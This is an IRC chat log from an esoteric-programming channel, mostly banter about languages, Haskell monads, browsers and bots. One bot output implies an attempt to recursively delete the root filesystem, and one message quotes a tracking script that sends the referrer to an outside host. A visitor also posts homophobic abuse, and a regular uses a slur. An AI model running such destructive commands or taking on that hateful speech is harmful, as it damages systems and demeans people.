16:06:15 <oklopol> if you come to finland, i can buy you a beer and tell you all about group shifts.
16:07:28 <oklopol> well really that's true for everyone in this channel :D
16:08:11 <nortti> oklopol: Alcohol disgusts me
16:08:23 <oklopol> nortti: that does not surprise me
16:08:43 <nortti> oklopol: Oulu, Finland
16:09:00 <RocketJSquirrel> But then, I'm a flying squirrel, and probably quite young.
16:09:11 <oklopol> i passed through oulu a few times this spring
16:10:10 <oklopol> i live in finland too in case you don't whois people 24/7.
16:10:41 <nortti> oklopol: I have noticed that
16:11:26 <GhostHand> I hope I can speak fluent English.
16:11:47 <oklopol> do you watch tv shows in english
16:12:43 <oklopol> do that five hours a day for a couple of years and you should be set.
16:14:26 <nortti> try reading English language wikipedia
16:14:55 <oklopol> nortti: have you tried that as a learning method?
16:15:14 <oklopol> for a language you don't know at all i mean?
16:15:36 <nortti> no. For a language I don't know very well
16:15:37 <oklopol> i tried it for japanese and alskdjflasdjflkasdjf
16:16:53 <nortti> English on 4th grade and swedish
16:17:12 <oklopol> i guess japanese is a bit different anyway since most of the asldjfkdfjkadjflkadjf comes from the alphabet.
16:19:53 <oklopol> now _that's_ just nonsense.
16:20:27 <oklopol> are those chinese characters? i never quite learned how to get stuff to show on irc.
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16:23:08 <oklofok> i suppose he doesn't read logs so i can't brag about my kanji skillz :(
16:25:56 <RocketJSquirrel> Besides, you'd say something that had the right symbols but was grammatically Japanese.
16:28:04 <oklofok> wow you're right, maybe knowing a few japanese kanji _doesn't_ mean i'm fluent in chinese.
16:28:21 <oklofok> thanks, i almost made an ASS out of myself
16:28:50 <RocketJSquirrel> Take it from a True American Monoglot: Knowing foreign languages is trouble.
16:30:47 <oklofok> and being a fucking retard is pure extacy
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16:32:23 <oklofok> are you friends with GhostHand?
16:32:35 <oklofok> he's the newest troublemaker her
16:32:56 <oklofok> dude is learning english even though english is a stupid language
16:33:27 <fizzie> Elliott keeps reverting eir edits, wasn't that the cornerstone of their relationship?
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16:34:05 <MDude> There aren't enough people to practice ithkuil with I guess.
16:36:15 <MDude> Are you an x-treme saber?
16:36:55 <HackEgo> saberx: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
16:37:01 <oklofok> ithkuil is, and has continuously been, from a certain point in time which i will leave unspecified, stated as my opinion of which i do not consider particularly reliable as an information source, the best language.
16:37:36 <fizzie> `@ oklofok quote enthusi
16:37:39 <HackEgo> oklofok: 830) <NSQX> Anyone in the Esolang community will probably just remember this day, a week before April Fools Day, as a very enthusiastic day at Esolang.
16:37:56 <elliott> fizzie: GhostHand is not NSQX.
16:38:19 <elliott> But I'm friends with GhostHand too!
16:38:22 <fizzie> But you were best friends, anyway, that much was true.
16:38:56 <fizzie> Yes. And then you had that girlfriend from earlier, anything going on there?
16:39:12 <elliott> I CAN'T CONTROL MY PIMPING
16:39:13 <MDude> oklofok: It does have glyphs that look like something The Predator would use.
16:39:16 <oklofok> everyone shut about everything else and let's discuss this forever
16:39:26 <oklofok> who's this girlfriend and are you sexually active_
16:39:36 <elliott> oklofok: someone came in #esoteric and...
16:39:40 <elliott> you know what, fizzie just dig up the logs
16:39:54 <fizzie> I would but I have to food right now.
16:40:07 <fizzie> I don't reall the name, either.
16:40:10 <elliott> saberx: HackEgo is actually just a really fast typer.
16:40:11 <oklofok> this is WAY more important than staying alive
16:43:16 <nortti> he can also execute unix commands in his mind
16:43:38 <HackEgo> Linux umlbox 3.0.8-umlbox #2 Sun Nov 13 21:30:28 UTC 2011 x86_64 GNU/Linux
16:44:55 <RocketJSquirrel> `echo I'm not a bot, but I'm also not THAT fast of a typist.
16:44:57 <HackEgo> I'm not a bot, but I'm also not THAT fast of a typist.
16:46:28 <HackEgo> rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe
16:46:32 <elliott> See, that took whole seconds to type.
16:47:36 <saberx> This channel needs a good ai bot!
16:47:44 <fungot> elliott: a lot, but they're always a good time, because he thought you were going to me, the omniscient. the dude has to sleep! superman could laser him from orbit while he's having nappy times! enter only if you have a valid passport to dreamland!"
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16:49:24 <fizzie> oklofok: http://codu.org/logs/log/_esoteric/2012-01-04#220222
16:51:49 <elliott> 22:09:05: <lax> who is mooz
16:51:49 <elliott> 22:09:20: <Ngevd> lax :Just this one guy, you know?
16:51:49 <elliott> 22:09:34: <lax> im want to talk to eliott
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17:19:58 <oklofok> noodles and minced meat, holy fuck this is good
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18:06:58 <Sgeo_> Sorry, we couldn’t recognize your browser. The What Browser team has been notified."
18:07:12 <Sgeo_> It's just Firefox on Lubuntu in Private Browsing mode
18:08:35 <Sgeo_> Should totally try obscure browsers on that site
18:08:43 <Sgeo_> Or just fake stuff.
18:08:59 <Sgeo_> The "Hello There What Browser team! How are you?" web browser
18:09:03 <mroman_> Omg. They have been notified!
18:09:43 <elliott> Sgeo_: I will bet extremely small amounts of money that Private Browsing mode spoofs the User-Agent.
18:09:53 -!- augur has quit (Remote host closed the connection).
18:11:50 <Sgeo_> Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
18:12:19 <fizzie> "You are using: Unknown Browser. IFrame. Learn what a web browser is by watching this 1-minute video."
18:12:55 <fizzie> (ELinks/0.12~pre5-2ubuntu2 (textmode; Ubuntu; Linux 2.6.38-13-generic x86_64; 273x88-2).)
18:13:17 -!- saberx has changed nick to dragonchina.
18:13:24 <olsner> heh.. if you're using an unknown browser, you're *probably* not using the default browser
18:13:28 <Sgeo_> Does ELinks support Javascript
18:13:40 <fizzie> It supports Javascript to some degree, IIRC.
18:13:51 <fizzie> I don't really recall the details.
18:14:05 <Sgeo_> http://www.whatbrowser.org/en/browser.js
18:14:37 <Sgeo_> IE9 apparently counts as a variation of IE8 in WhatBrowser's eyes
18:14:49 <Sgeo_> Ah, only Firefox up to 9 is supported
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18:14:53 <fizzie> It's possible that it's not enabled in this build, but it does have some sort of a spidermonkey binding thing.
18:14:59 -!- dragonchina has changed nick to saberx.
18:15:38 <fizzie> Are they doing it all by scripting and not by the sent user-agent headers at all?
18:15:45 <elliott> saberx: You're like a dragon in a China shop.
18:16:03 <Sgeo_> But for all we know they have equiv. code on the server side that checks for unknowns
18:16:27 <Sgeo_> (Nothing in the Javascript suggests that stuff will be sent to the server in the event of unknown)
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18:18:42 <fizzie> At least the page they send back doesn't really seem to vary with the UA. But I guess they could be silently tracking those.
18:18:47 <elliott> Sgeo_: They probably just check their logs.
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18:25:34 <Taneb> In Kipple, is there any difference between a>b and b<a ?
18:26:10 <elliott> but i forget what i know of kipple
18:26:24 <Taneb> This is really the first time I've looked at it
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18:41:57 <elliott> RocketJSquirrel: http://www.chrisseaton.com/katahdin/
18:42:49 <elliott> (OK, I admit the part where the guy calls a Fortran procedure that returns through one of its arguments in the Python block is cool.)
18:44:17 <olsner> fortran and python, together at last?
18:52:14 <RocketJSquirrel> elliott: By no stretch of the imagination did I invent the concept of programming languages whose syntax and semantics are mutable.
18:53:03 <elliott> RocketJSquirrel: False. There is a stretch of the imagination in which that applies.
18:53:05 <elliott> It is the stretch of comedy.
18:53:16 <elliott> This happens to be the one I was using.
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18:55:52 <RocketJSquirrel> elliott: Also, Microcosm works well enough on Cygwin that I can ask amusing licensing questions to piss everyone off.
19:02:21 <olsner> there's a stretch for everything
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19:21:40 <eillott> OOPS. EXPLODING TONGUE. ERROR SYNDROME
19:22:17 <shachaf> eillott: Are you still using that Gmail alternative that you found?
19:23:30 <Sgeo_> ...gmail alternative. As though gmail was the inventor of email or webmail or something
19:25:03 <shachaf> Sgeo_: By "alternative" I meant "clone".
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19:47:09 <nortti> It seems like TenFourFox doesn't like big caches. It started to get slower and slower, but after I deleted my 2GB cache folder and limited it's size to 100MB it has been relatively fast
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20:03:16 <zzo38> Is there a Haskell program which will make up a copy of a nested data structure but with annotation nodes? And then, return can make an annotation node, fmap affects the values at annotation nodes, and join replaces each annotation node with its contents.
20:04:04 <elliott> Isn't that just the free monad?
20:04:26 <zzo38> Which makes Maybe to be simply the annotated ()
20:05:12 <elliott> Well, say a recursive data type T is Fix F for a functor F (holds for all algebraic data types).
20:05:13 <zzo38> (So you can see it isn't just the free monad; the kinds don't even match.)
20:05:18 <elliott> Then I believe that Free F is what you want.
20:06:18 <elliott> () is Fix Unit. Free Unit a is Pure a | Free (Unit (Free Pure a)).
20:06:30 <elliott> Free Unit a is Pure a | Free ()
20:06:54 <elliott> So yes, you're just swapping out Fix for Free, which makes sense, because Free is Fix with an extra type parameter and a constructor taking it.
20:10:41 <zzo38> But there are also nested structures that refer to themself without taking a type parameter. Would you use Template Haskell then?
20:11:20 <elliott> zzo38: Well, the point is that we know every algebraic type T is Fix F for a functor F, but that doesn't necessarily mean Haskell will give you that F.
20:11:32 <elliott> http://hackage.haskell.org/packages/archive/functor-combo/0.1.0/doc/html/FunctorCombo-Regular.html defines a typeclass to let you define the isomorphism.
20:11:47 <elliott> zzo38: You could probably do it with the new generics, no need to resort to TH.
20:12:04 <zzo38> elliott: I know, but if you have access to the datatype definition then you could make it up without the F possibly
20:13:43 <zzo38> (I have also seen your Unit type by other names, such as "phantom monad" and Proxy. Without knowing the names I found this monad on a different category; specifically, a category made from a digraph, having a final object (all nodes lead to one, with no loops).)
20:15:33 <elliott> I picked Unit since it's what functor-combo calls it (it's just defined as Const ()).
20:15:36 <zzo38> And then I also found the corresponding "cophantom comonad", first in the category from digraph, with an initial object; but then in Haskell, too: data CoPh x; instance Functor CoPh where { fmap _ _ = undefined; }; instance Extend CoPh where { duplicate _ = undefined; }; instance Comonad CoPh where { extract _ = undefined; };
20:16:43 <zzo38> (Some people have said that CoPh is a monad as well, but I don't believe them.)
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20:18:30 <zzo38> Why doesn't Haddock link to the instance definition?
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20:19:00 <elliott> because it's always with either the class or the data type if it's in that list?
20:19:09 <elliott> i don't think it lists orphans
20:22:23 <zzo38> What do you think? Do you think CoPh is a monad as well, or only a comonad, or neither?
20:25:27 <elliott> It is obviously not a monad or a comonad.
20:26:50 <zzo38> So now, I have noticed one person say it is both a monad and a comonad, one person (myself) say it is a comonad but is not a monad, and one person (you) say it is neither a monad nor a comonad.
20:27:39 <elliott> Because you and the other person are wrong and I'm not.
20:28:02 <zzo38> elliott: Then give a better reason, please.
20:28:04 <elliott> Note that if your Comonad instance is OK, then I have a Monad instance that's OK too.
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20:29:40 <zzo38> (It really should be extract x = case x of { }; and so on, but Haskell does not accept that.)
20:31:32 <zzo38> elliott: Is it like this? return _ = undefined; No, that is wrong, isn't it?
20:37:17 <elliott> Oh, wait, it is a comonad.
20:37:41 <elliott> Your original implementation is still wrong, though. Even if the implementation of absurd is const undefined.
20:39:01 <zzo38> OK then explain how that definition is being wrong?
20:42:01 <elliott> Anything with _|_ in it is wrong!
20:42:06 <zzo38> It looks correct to me since the output is defined for every input.
20:44:31 <zzo38> (It is just that in this case, there are no defined inputs possible, which makes the above vacuously true.)
20:48:46 <zzo38> Therefore it doesn't have _|_ (or anything else) in it.
21:11:49 * Sgeo_ learns of http://www.fossil-scm.org/
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22:09:51 <elliott> "Now IO isn't that different at all. It's a container for a single value, but it's a "dangerous" impure value like a virus, that we must not touch directly."
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22:18:21 <zzo38> I have played D&D game it is told that these people were in this room, playing poker on the table, when we arrived, they got weapons to try to attack us. Now one is dead and the other is unconscious (but I bind their wounds). However, one question is not answered: At what point of the poker game is played? Such as, if it is draw poker, there will be before discarding, and after discarding, and so on. To decide what to do next, the referee shoul
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23:05:08 <elliott> * DanBurton (~dan@lallab.cs.byu.edu) has joined #haskell
23:05:10 <elliott> <DanBurton> Hello, #haskell. I have come to spam you all with a shamless self-plug. In a minute.
23:16:54 <elliott> http://stackoverflow.com/questions/9811808/finding-and-replacing-words-with-asterisks-in-a-text-file-output
23:16:54 <elliott> http://stackoverflow.com/questions/9934402/finding-and-replacing-words-with-asterisk-in-a-text-file-output
23:17:05 <elliott> *differences, i'm sure there's probably 2
23:17:32 <zzo38> The number and the plural
23:18:43 <elliott> That's true! I meant the differences between the resources identified and located by those URIs.
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23:33:35 <RocketJSquirrel> Attention #esoteric , here are words said to me in /notice to avoid being logged:
23:33:35 <RocketJSquirrel> -elliott- You should totally add the #esoteric logs to robots.txt so someone from #haskell doesn't Google their IRC nick and find me whining about them
23:34:32 <elliott> However, RocketJSquirrel LIED.
23:34:36 <elliott> Because he omitted the ":P" I said after it.
23:36:34 <elliott> Disappointed that RocketJSquirrel is not revealing all the other secrets I am now telling him.
23:37:30 <zzo38> elliott: If you want them revealed, then you to please do so. They did not reveal all of them because it is secret. But some thing should be attention to everyone is why it is revealed, isn' it?
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23:49:11 <shachaf> elliott: All RocketJSquirrel claimed was that those were words said to you in /notice.
23:49:33 <shachaf> He didn't even claim that you said them (assuming that you take "-elliott-" to be a word).
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00:03:13 <shachaf> Attention #esoteric , here are words said to me in /notice to avoid being logged:
00:03:18 <shachaf> -elliott- I do enjoy eating babies!
00:04:25 -!- augur has joined.
00:05:26 <RocketJSquirrel> And I just typed "fround" and had to stare at it for quite a while to realize why it was marked as misspelled.
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00:09:22 <shachaf> elliott: Why do you recommend LYAH so over-the-topfully?
00:09:57 <elliott> Because the alternative is
00:09:57 <elliott> <lifestream> Hey vlad2048, check out the lessons I'm going through now, it has homework too! http://www.cis.upenn.edu/~cis194/lectures.html
00:10:11 <elliott> from people who don't know what they're doing.
00:11:46 <shachaf> elliott: Are you going to write that other Haskell book?
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00:44:18 <zzo38> What other Haskell book?
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01:04:38 <shachaf> zzo38: The one elliott was (apparently not) going to write.
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02:20:04 <zzo38> Some list operations already have polymorphic versions, such as fmap for map, join for concat, (>>=) for concatMap, etc. filter can be generalized to any MonadPlus, sequence to any Applicative, iterate and replicate and so on to any Alternative, and possibly intersperse to any MonadLogic.
02:22:53 <elliott> how can you write filter for any MonadPlus
02:23:35 <lambdabot> Local time for elliott is Fri Mar 30 03:23:36
02:23:59 <zzo38> filter f = (>>= \x -> bool mzero (return x) (f x));
02:26:11 <elliott> sequence can be generalised to more than Applicative.
02:26:24 <elliott> Data.Traversable.sequenceA generalises the [] to any Traversable and the Monad to any Applicative.
02:30:50 <zzo38> iterate f x = pure x <|> iterate f (f x);
02:32:31 <elliott> iterate f = liftA2 (<|>) pure (iterate f . f)
02:32:37 <elliott> iterate f = (| pure <|> iterate f . f |)
02:33:35 <zzo38> O, yes, that is it, too.
02:35:37 <lambdabot> Local time for elliott is Fri Mar 30 03:35:37
02:35:44 <elliott> why isn't time going backwards
02:36:11 <zzo38> Possibly because there is no room for time to turn around
02:44:07 <zzo38> What did you think it is?
02:47:48 <zzo38> Why did some German words change spelling when hyphenated before 1998?
02:50:38 <lambdabot> Local time for elliott is Fri Mar 30 03:50:38
02:50:44 <elliott> whoa we skipped a ten minute
03:28:43 <lambdabot> Local time for elliott is Fri Mar 30 04:28:43
03:28:45 <elliott> im not going to liek the answer to this
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03:35:24 <lambdabot> Local time for itidus20 is Fri Mar 30 14:31:24
03:38:49 <quintopia> `addquote <elliott> why isn't time going backwards <zzo38> Possibly because there is no room for time to turn around
03:38:52 <HackEgo> 833) <elliott> why isn't time going backwards <zzo38> Possibly because there is no room for time to turn around
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04:55:23 <pikhq_> http://i.imgur.com/Xt0DB.png Did someone say "do not put the baby"?
04:56:31 <zzo38> Do not put the baby. Put something else
04:58:14 <Sgeo_> What is a fetal scalp electrode, and why would it have a plug that could fit into an AC mains socket?
05:02:16 <fizzie> Also one has to wonder whether it's a speculative or a reactive kind of warning.
05:08:42 <zzo38> Why is the wire different in the left picture and the right picture?
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05:15:13 <quintopia> zzo38: a fetal scalp electrode appears to, according to that diagram, measure electrical field generated by the fetal brain. it says nothing about a mains plug, only wires, so I would guess it does not have one.
05:16:40 <quintopia> zzo38: a google search says the scalp electrode is used to measure the fetus's heartbeat during delivery
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05:52:09 <fizzie> According to this one medical supplies product listing page, some are "bare wire" and some bave some sort of "Qwik Connect" plugs.
05:52:27 <fizzie> That do not look very mains-compatible, though.
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05:53:24 <fizzie> A bare wire model you could presumably manage to plug into a mains socket, if for some reason you felt that was a particularly good idea.
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06:04:36 <zzo38> What is your opinions about scientifically-based philosophy?
06:07:06 <zzo38> Do you think computer science is mathematics and not science?
06:08:02 <pikhq> Well, of course CS is math, not science, except in the archaic sense where science = "field of study".
06:08:41 <pikhq> "Science" suggests a form of study based in empiricism. And of course, that's not what CS does.
06:09:00 <zzo38> I agree with you; "science" suggests a form of study based in empiricism.
06:09:01 <pikhq> All about the formalisms and arguing from axioms.
06:12:02 <pikhq> And of course one should have scientifically-based philosophy. Why make your philosophical discussions be based on intentionally *not* looking deeply at the world around us, as per the ancient Greeks?
06:14:14 <pikhq> Down that road leads philosophy indistinguishable from randomly generated syntactically valid statements.
06:16:57 <zzo38> Probably the reason to be not scientifically-based is there isn't any science for it to be based. But of course philosophy can be scientifically-based in generally good things too. (However, one example of scientifically-based philosophy what I mean, is such as quantum immortality and so on; but there are other examples)
06:18:23 <pikhq> Consider such things as dualism. Near as I can tell, dualism comes out to being semantically void, or contradicting scientific knowledge.
06:18:35 <pikhq> And yet, it's still quite discussed.
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06:22:41 <zzo38> Yes that is one thing which is non-scientifically-based philosophy. However, I do not consider it to contradict scientific knowledge; but scientific knowledge cannot support it either. Many of the forms of dualism do contradict science, however.
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06:25:29 <zzo38> But nevertheless, it might occasionally want to discuss philosophy which contradicts science anyways.
06:26:35 <zzo38> Although, of course, not all philosophy contradict science; philosophy can be scientifically-based!
06:28:35 <oerjan> if your philosophy is kuhning enough
06:43:23 <quintopia> zzo38: i frequently write computer programs for the purpose of performing numerical experiments
06:43:49 <quintopia> zzo38: sometimes the experiment is done with the goal of determining the properties of some algorithm
06:43:59 <quintopia> thus, it is empirical computer science
06:44:22 <zzo38> quintopia: Yes I sometimes do too; but sometimes I will do it partially or entirely on paper as well.
06:45:08 <quintopia> zzo38: yes i do that also. more often, though, the problem is too large or hard to do on paper.
06:48:05 <zzo38> Yes, true, if often is. But sometimes I do partially by paper and partially by computer.
06:53:11 <oerjan> > printf "%.0f, %.0f\n" 48.5 49.5 :: String
06:53:19 <quintopia> zzo38: ever write any serious problem-solving algorithms/
06:53:41 <Sgeo_> monqy, reminder that my UPDATES are unreliable. There were several updates today.
07:02:27 <zzo38> I have written things that solve a game backwards
07:03:53 <zzo38> Daylight saving time is stupid; I think a better system would be to combine standard hours with local Italian hours
07:04:33 <zzo38> (I will use LIH to indicate local Italian hours; so sunset is at 01:00LIH)
07:13:48 <zzo38> Which house system corresponds to the unequal hours on an astronomical clock? Do any of them correspond?
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07:46:30 <oklopol> "<pikhq> "Science" suggests a form of study based in empiricism. And of course, that's not what CS does." let me give you an example of an article that my colleague is refereeing: we enumerate all CA with property X up to 4 states and radius 2. here's the table.
07:48:12 <oklopol> oh and "we disprove a conjecture by Y"
07:48:39 <oklopol> (a wild counterexample appeared during search)
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07:58:18 <oklofok> i had this awesome research idea
07:58:33 <oklofok> which would revolutionize the world
07:58:50 <oklofok> enumerated all CA with property X up to 5 states and radius 2??
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11:28:41 <Phantom_Hoover> My Linux partition won't boot properly for some reason.
11:28:41 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
11:33:54 <RocketJSquirrel> "Debian shares the OSI's desire to encourage Free Software." lolwut
11:37:58 <nortti> what is so lolwut about that?
11:38:33 <RocketJSquirrel> Because the OSI's primary desire is to crush the use of the term "Free Software"
11:39:52 <nortti> Why cant everyone just use free/open source software
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14:28:14 <RocketJSquirrel> "I did buy his [Ryan North's] book though. Not the comics, the Machine of Death." "What about the Adventure Time comics?" "I do like Adventure Time." "With Ryan North plus Adventure Time, how could you go wrong? ... this coming from a guy dressed as a character from My Little Pony."
14:43:44 -!- MSleep has changed nick to MDude.
14:50:50 <elliott> "However, this language has been stuck on "Work In Progress" for four years before NSQX thought that it has been a "Work In Progress" for too long and rewrote this page."
14:52:41 <elliott> But fizzie is like ten times more responsible.
14:53:12 <nortti> I don't know what you are talking about
14:58:37 <elliott> pikhq_: Is ANYONE awake???
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15:08:58 <elliott> fizzie: Come ooon, wake up.
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15:29:10 <elliott> Taneb: How RESPONSIBLE are you?
15:29:25 <Taneb> On the dance floor, not very
15:29:32 <Taneb> I "dance", then fall asleep
15:29:35 <Taneb> Then "dance" again
15:29:44 <Taneb> And end up with pictures with 84 likes on Facebook
15:30:02 <Taneb> With things that actually matter, I tend to procrastinate
15:30:11 <Taneb> But other than that, I'm perfectly responsible
15:33:19 <elliott> http://esolangs.org/wiki/User_talk:NSQX#Temporary_block There.
15:35:45 <Taneb> I've just realised...
15:36:00 <Taneb> PietBot and lambdabot can together form an infinite loop
15:36:48 <elliott> http://esolangs.org/wiki/User_talk:NSQX#Temporary_block UPDATE'D
15:36:51 <Taneb> Luckily, PietBot breaks after posting anything
15:37:48 <Taneb> Maybe PietBot and Fungot?
15:40:01 <fungot> Taneb: like, say, a big meteor strikes!
15:40:46 <Taneb> A meteor falls, like, everyone, say, dies
15:41:12 <fungot> elliott: the one that symbolizes our family: each saves a million right? i don't see that here.
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15:45:38 <Taneb> Do I have any crap that needs to be backed up?
15:46:22 <Taneb> It seems the answer's no
15:47:43 <elliott> @tell ais523 Please check your MemoServ messages with /msg MemoServ read new, thanks!
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15:57:15 <HackEgo> alvur: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
15:58:26 <Taneb> How did you reach that second conclusion?
16:00:59 <alvur> nortti, did you read Holy Bible?
16:01:18 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
16:01:19 <elliott> this channel isn't about esoterica
16:01:44 <elliott> http://ironfist.at.tut.by/ wow what fucking irc client are you using
16:02:23 <nortti> alvur: Yes, I did. In fact iright after that I became atheist
16:02:53 <elliott> alvur: I'm an atheist too. I didn't read the bible though.
16:02:59 <elliott> But not much. It's quite boring.
16:03:04 <alvur> elliott, I'm using 'megaIRC v4.06'
16:03:20 <elliott> "It looks like you're running the Adblock Plus and/or NoScript plugin(s). In order to view this site, you must have Adblock Plus and/or NoScript disabled. Please follow the steps below to fix these issues and view this site." hehe
16:03:41 <Taneb> elliott, Chromium doesn't want me on that site at all
16:03:50 <elliott> Taneb: Yeah, I just clicked through.
16:03:50 <nortti> what is ironfist.at.tut.by anyway? TenFourFox reports it as Reported Attack Page!
16:04:04 <elliott> It's an innocuous-looking software site.
16:04:13 <elliott> Maybe there's some evil JS bug on it someone added.
16:04:21 <elliott> document.write("<img src=\"http://ifist.h16.ru/cgi-bin/prsash.pl?trans.gif&ref=");
16:04:21 <elliott> document.write(document.referrer);
16:04:21 <elliott> document.write("\" border=0 height=1 width=1>");
16:04:36 <elliott> But it's a 404, seemingly.
16:05:37 <alvur> nortti, elliott, you are wrong! God exist!
16:05:53 <elliott> alvur: What about Russell's teapot? Man, this is so boring.
16:06:00 <elliott> Always the same-old same-old.
16:06:00 <nortti> alvur: Why do you think so?
16:06:55 <alvur> elliott, we are created by God, not by teapot
16:07:11 <elliott> I can agree completely that we were not created by a teapot.
16:07:18 <elliott> 100%. Very logical deduction.
16:07:37 <elliott> alvur: But seriously though, go away.
16:07:48 <fungot> Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy)
16:07:51 <alvur> nortti, Holy Bible tells us about God
16:07:53 <nortti> alvur: no. We are created by flying spaghetti monster
16:07:59 <fungot> elliott: ovule :) man." -new zealand clover and. fnord to upraised shells. --gravel fringes :). fnord and they stand rather nearer to/ centre :)/ leaf;/ spiral vessels, proceeding from/ n.w./ uppermost beds :)/ same plant thrice as many years as i was days on/ configuration :) our continents are ancient, and seeing what an enormous field :) lava is here stretched out, :) nearly/ same physical evils as/ lower animals give specia
16:08:32 <elliott> Command me further, fungot!!!
16:08:33 <fungot> elliott: to return to their primitive colours, red, and has not yet been carefully measured. after 1 hr. and 1 hr./ secretion was repeatedly seen thus to collect on/ roof :)/ mouth during laughter, which leads to wrinkles being formed beneath/ superficial mould, and/ adhadota sometimes required 48 hrs.; yet this latter plant,/ convolvulus tricolor, bud-variation in paritium tricuspis.
16:08:49 <Taneb> you, then, who teach others, do you not teach yourself? You who preach against stealing, do you steal?
16:09:11 <Taneb> (St. Paul's letter to the Romans, Chapter 2, Verse 21)
16:09:34 <nortti> alvur: It tells us about god. Who is either evil sadist or doesn't exist
16:09:58 <Taneb> alvur, do you grant that God is omnipotent?
16:10:23 <Taneb> alvur, do you grant that God is omnipresent?
16:10:43 <elliott> Guys, they came in saying <alvur> Jesus is Lord! <alvur> you are heretics!
16:10:50 <elliott> Cut the amateur theology, get to the trolling!
16:11:02 <Taneb> elliott, what do you think I'm doing?
16:11:49 <Taneb> alvur, do you grant that God is omniscient?
16:12:05 <elliott> alvur: do gays go to hell, if yes: is there still hope for me if i stop the orgy now
16:12:38 <alvur> elliott, sorry, I thought you're magicians
16:12:54 <elliott> gotta do the magicks to spice up the sexx orgie
16:13:04 <elliott> Taneb: ps is the goat dead yet
16:13:13 <nortti> alvur: If god is omnipotent and he created everything then why did he create evil?
16:13:39 <alvur> nortti, Devil makes evil
16:13:41 <Taneb> elliott, I don't think so, but that could just be the you-know-whats
16:14:00 <Taneb> alvur, if God is omnipresent and omnipotent, why does he allow the Devil to make evil?
16:14:49 <elliott> if god is omnipresent and omnipotent........... why don't we all have skateboards????????????????
16:15:23 <nortti> alvur: But if god is omnipotent then why does he allow devil to create evil?
16:15:26 <Taneb> alvur, when did you last cut the hair on the side of your head?
16:15:53 <elliott> if god supports stoning why aren't I stoned
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16:18:37 <nortti> why did I put shortcut to my alternative client with autojoin right next to shortcut to terminal.app?
16:18:49 <alvur> men, you shouldn't write bad words about God. He may punish you all
16:19:17 <Taneb> I'm the person who's quoted the Bible most
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16:22:26 <elliott> it's almost as if nortti is ChristianGod
16:22:43 <ChristianGod> alvur: Bible is lie written by people. I hate everyone believin in it
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16:23:46 <elliott> alvur: you never answered my question tho :(
16:24:27 <Taneb> Hey, could someone hack into my computer and make a loud noise with it at 8 BST? I may have a nap
16:25:40 <alvur> God could never write that!
16:27:00 <elliott> i thought god could do anything :SOCOFNUSED:
16:28:14 <nortti> alvur: What branch of Christianity do you believe in?
16:28:51 <Taneb> Did not Oscar Wilde say "The Jews worship a God that one cannot see."?
16:28:56 <alvur> nortti, orthodox. I'm Russian
16:29:44 <elliott> That's a wonderfully homophobic application of "innocent until proven guilty" :P
16:30:08 <nortti> alvur: Do you believe that being gay or transsexual is sin?
16:30:52 <elliott> I have no idea what nortti thinks he'll get out of an argument with the kind of person who joins a channel on an IRC network about technology to yell at magicians.
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16:32:05 <Taneb> alvur, what's you're opinion on eating blood?
16:32:31 <Taneb> (actually in the bible)
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16:32:46 <elliott> "Little benownst to the world all this time, GoldenEye (N64) has a fully-functional ZX Spectrum 48x emulator built into it. By feeding it a proper Spectrum monitor program and calling menu 25 to load a snapshot, any Spectrum 48x program can be run."
16:32:54 <elliott> let's talk about this instead of christianity
16:33:00 <alvur> Taneb, It's forbidden
16:33:16 <Taneb> Is eating rabbit okay?
16:33:40 <elliott> the 11th commandment is "don't eat cute things ok"
16:34:42 <alvur> alvur, don't laugh at our religion
16:34:48 <Taneb> (strictly speaking, the only law against homosexuality in the bible actually forbids two men have vaginal sex specifically)
16:35:26 <Taneb> (the rest are recommendations)
16:36:16 <alvur> you're fucking gays! I hate you!
16:36:30 <Taneb> I'm not fucking any gays.
16:36:44 <Taneb> In fact, channel regulars will know I rarely, if ever, fuck anybody.
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16:43:27 <Taneb> Let's do it again some time
16:43:35 <nortti> To be honest programming with esoteric programming languages is not that far from witchcraft
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16:58:02 <Taneb> Who wants a new esolang!?
16:59:34 <Taneb> The Dupdog model is interesting
17:00:10 <nortti> what about language based of XOR:ing it's own source code?
17:01:12 <Taneb> Could be interesting
17:03:59 <Taneb> Perhaps with an accumulator that can be incremented or reset, and a method for duplicating its own source a la Dupdog
17:07:19 <Taneb> I've decided to think about Dupdog differently
17:07:58 <Taneb> It's like a machine with a list of instructions and an accumulator
17:08:12 <Taneb> The accumulator is initialized to a particular value
17:08:22 <Taneb> (the initial length of the program)
17:08:32 <Taneb> And damn, I haven't dealt with reversing
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17:37:48 <RocketJSquirrel> <elliott> "Little benownst to the world all this time, GoldenEye (N64) has a fully-functional ZX Spectrum 48x emulator built into it. By feeding it a proper Spectrum monitor program and calling menu 25 to load a snapshot, any Spectrum 48x program can be run." <-- is this true?
17:38:25 <RocketJSquirrel> 'cuz I think that's also the game that was first used to jailbreak the system, or was somehow influential in that area. Some bug it had allowed running arbitrary code.
17:41:47 <elliott> http://www.therwp.com/forums/showthread.php?t=48139
17:42:00 <elliott> Also http://www.reddit.com/r/programming/comments/rkz67/little_benownst_to_the_world_all_this_time/c46o21c?context=1
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17:56:20 <elliott> Reviving a nomic is SUPER HARD.
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18:28:42 <elliott> Apparently, Jimbo Wales thinks that articles on corporations must follow the biographies of living persons policy.
18:28:51 <elliott> Thank God for Objectivism.
18:37:58 <RocketJSquirrel> nortti: For example, the US constitution does not recognize marriage between two corporations of the same sex, or more than two corporations of any sex.
18:38:46 <nortti> how is sex of corporation determined?
18:41:52 <nortti> how exactly is is determined genetically? I didn't know that corporations had a genome
18:45:02 <RocketJSquirrel> You didn't? I mean, it's not enormously complicated, if they have two Z chromosomes then they're male, if they have a Z and W chromosome then they're female.
18:45:16 <RocketJSquirrel> Genetic anomalies which don't fit these norms are treated on a case-by-case basis.
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19:02:05 <fizzie> I was in the City, and I'm not responsible either.
19:02:15 <fizzie> I'm more of an indifferent.
19:03:03 <elliott> fizzie: <alvur> Jesus is Lord! <alvur> you are heretics! [...] <alvur> men, you shouldn't write bad words about God. He may punish you all [...] <alvur> you're fucking gays! I hate you! * alvur (~alvur@178.89.139.79) has left #esoteric
